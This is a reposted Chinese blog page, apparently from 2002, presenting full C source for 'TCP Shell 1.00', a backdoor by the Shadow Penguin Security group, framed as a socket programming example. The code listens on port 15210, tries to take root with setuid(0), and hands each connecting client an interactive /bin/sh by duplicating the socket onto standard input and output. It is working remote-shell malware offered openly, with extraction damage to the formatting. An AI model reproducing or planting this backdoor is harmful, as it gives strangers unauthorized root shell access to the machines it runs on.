socket编程例子:TCP Shell后门

 

 来源:本文出自:http://sinbad.zhoubin.com 作者: 不详 (2002-12-12 06:02:00)

很简单很容易被发现,且当作socket编程例子学习吧。

/*============================================================================= 
   TCP Shell Version 1.00 
   The Shadow Penguin Security (
http://shadowpenguin.backsection.net
   Written by UNYUN (unewn4th@usa.net) 
  ============================================================================= 
*/
 
#include 
< signal.h >  
#include 
< stdio.h >  
#include 
< stdlib.h >  
#include 
< string .h >  
#include 
< sys / types.h >  
#include 
< sys / socket.h >  
#include 
< errno.h >  
#include 
< unistd.h >  
#include 
< netinet / in .h >  
#include 
< limits.h >  
#include 
< netdb.h >  
#include 
< arpa / inet.h >  

#define  MAX_CLIENTS     5           /* Max client num    */ 
#define  PORT_NUM        15210       /* Port              */ 

void     get_connection(socket_type, port, listener) 
int      socket_type; 
int      port; 
int       * listener; 

        
struct sockaddr_in      address; 
        
struct sockaddr_in      acc; 
        
int                     listening_socket; 
        
int                     connected_socket = -1
        
int                     new_process; 
        
int                     reuse_addr = 1
        
int                     acclen=sizeof(acc); 

        memset((
char *&address, 0sizeof(address)); 
        address.sin_family 
= AF_INET; 
        address.sin_port 
= htons(port); 
        address.sin_addr.s_addr 
= htonl(INADDR_ANY); 
        listening_socket 
= socket(AF_INET, socket_type, 0); 
        
if (listening_socket < 0
          perror(
"socket"); 
          exit(
1); 
        }
 
        
if (listener != NULL) *listener = listening_socket; 
        setsockopt(listening_socket,SOL_SOCKET,SO_REUSEADDR, 
                   (
void *)&reuse_addr,sizeof(reuse_addr)); 
        
if (bind(listening_socket,(struct sockaddr *)&address,sizeof(address))<0 
)

          perror(
"bind"); 
          close(listening_socket); 
          exit(
1); 
        }
 
        
if (socket_type == SOCK_STREAM)
          
if (listen(listening_socket, MAX_CLIENTS)==-1)
            perror(
"listen"); 
            exit(
1); 
         }
 
        }
 
}
 
void     sock_puts(sockfd, str) 
int      sockfd; 
char      * str; 

        
char    x[2000],*buf; 
        size_t  bytes_sent 
= 0
        
int     this_write,count; 

        sprintf(x,
" %s",str); 
        count
=strlen(x); 
        buf
=x; 
        
while (bytes_sent < count) 
                
do 
                        this_write 
= write(sockfd, buf, count - bytes_sent); 
                
while ( (this_write < 0&& (errno == EINTR) ); 
                
if (this_write <= 0return
                bytes_sent 
+= this_write; 
                buf 
+= this_write; 
        }
 
}
 
int      main(argc, argv) 
int      argc; 
char      * argv[]; 

        
void            get_connection(); 
        
void            sock_puts(); 
        
int             i,sz; 
        
int             sock; 
        
static int      listensock = -1
        
struct sockaddr_in sad; 

        setuid(
0); 
        setgid(
0); 

        
for (;;)
          get_connection(SOCK_STREAM, PORT_NUM, 
&listensock); 
          sz
=sizeof(struct sockaddr_in); 
          
for (;;)
            
if ((sock=accept(listensock,(void *)&sad,&sz))==-1)
                perror(
"Accept"); 
                exit(
1); 
            }
 
            
if (fork()==0)
                sock_puts(sock,
"The ShadowPenguin Systems Inc. TCP Shell 1.00 De 
veloped by  

UNYUN.
"); 
                for (i=0;i<3;i++)
                    close(i); dup2(sock,i); 
                }
 
                execl(
"/bin/sh","sh","-i",0); 
                close(sock);      
                
break
            }
 
          }
 
        }
 
}
 


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值